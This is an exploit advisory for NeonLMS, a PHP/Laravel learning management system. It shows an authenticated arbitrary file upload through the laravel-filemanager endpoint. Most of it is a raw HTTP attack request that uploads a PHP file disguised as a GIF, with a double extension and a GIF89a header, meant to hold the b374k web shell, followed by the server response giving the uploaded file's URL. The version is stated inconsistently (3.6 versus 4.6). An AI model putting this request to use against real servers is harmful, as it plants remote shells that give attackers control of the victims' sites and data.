NeonLMS version 3.6 suffers from an authenticated remote shell upload vulnerability.
2c01c097ed4377f370cef2cfdd6872fb
# Exploit Title: NeonLMS - Learning Management System PHP Laravel Script -(Authenticated) Arbitrary File Upload
# Exploit Author: th3d1gger
# Google Dork: N/A
# Type: Web App
# Date: 2020-05-29
# Vendor Homepage: https://www.neonlms.com/
# Software Link: https://codecanyon.net/item/neonlms-learning-management-system-php-laravel-script/23641351
# Affected Version: 4.6
# Tested on: Windows
# CVE : N/A
Attack request
POST /laravel-filemanager/upload?type=&_token=WCYpB81OELWdGBjZYZ9nx46JD80TooI9Kx9RgAB1 HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.5/laravel-filemanager/
Content-Type: multipart/form-data; boundary=---------------------------1163348127130442375319387716
Content-Length: 99799
Connection: close
Cookie: XSRF-TOKEN=eyJpdiI6InJobDdYNjJDTFN6djZWNTlMd1VndGc9PSIsInZhbHVlIjoiUTU0cXl2VUV6eXl6NkdFTnRWcHV3TUZHSkFMd3p4Z25kYW9CZkxyYlByMUM2bG53QWY4XC9tVm5NenZDK1hpaWMiLCJtYWMiOiIxOTdhM2Q4N2JhMTA5NzdkYTVkYmQ0OGQwNjA4ODk0NzViMTMzN2ExNTlmMTQyZTc0NDY3NjgyYWJlNzU1YTFiIn0%3D; neonlms_session=D0jKnf2hb6N1nYCVjEtBNJckMvh27UOaTpRINaxK; _ga=GA1.1.1625243451.1591282372; _gid=GA1.1.1993722441.1591282372; laravel_session=ZoHMEm2MdbfrrkmkPnFxtQckcj1I35p8Rsu7kUFd
Upgrade-Insecure-Requests: 1
-----------------------------1163348127130442375319387716
Content-Disposition: form-data; name="upload"; filename="b9.php.gif.php.php"
Content-Type: image/gif
GIF89a;
<?php
tested with b374k.php
?>
-----------------------------1163348127130442375319387716--
Result
HTTP/1.1 200 OK
Date: Thu, 04 Jun 2020 20:03:49 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
X-Powered-By: PHP/7.4.6
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilp0MnNOUUNoa2R2OFZzUEJQWU45VGc9PSIsInZhbHVlIjoidWwyXC9UK3pjY2hyNERjc25QdENRTFBQYVNWRTFWU1wvaGNFalhoVGlJaWZ5dFNydXh5WEhqNG5wWkJ4T0VcL0gwRSIsIm1hYyI6IjI1MTkyYjcyMTkzNjczZTAwMGFkMzVhMzYyNzI2OTg4MGZmNWY5YWEzMmJiY2YyM2YyYTg1NTY2NzhiNmM1OWIifQ%3D%3D; expires=Thu, 04-Jun-2020 22:03:49 GMT; Max-Age=7200; path=/
Set-Cookie: neonlms_session=D0jKnf2hb6N1nYCVjEtBNJckMvh27UOaTpRINaxK; expires=Thu, 04-Jun-2020 22:03:49 GMT; Max-Age=7200; path=/; httponly
Content-Length: 663
Connection: close
Content-Type: text/html; charset=UTF-8
<script type='text/javascript'>
function getUrlParam(paramName) {
var reParam = new RegExp('(?:[\?&]|&)' + paramName + '=([^&]+)', 'i');
var match = window.location.search.match(reParam);
return ( match && match.length > 1 ) ? match[1] : null;
}
var funcNum = getUrlParam('CKEditorFuncNum');
var par = window.parent,
op = window.opener,
o = (par && par.CKEDITOR) ? par : ((op && op.CKEDITOR) ? op : false);
if (op) window.close();
if (o !== false) o.CKEDITOR.tools.callFunction(funcNum, 'http://192.168.1.5/files/20/b9.php.gif.php');
</script>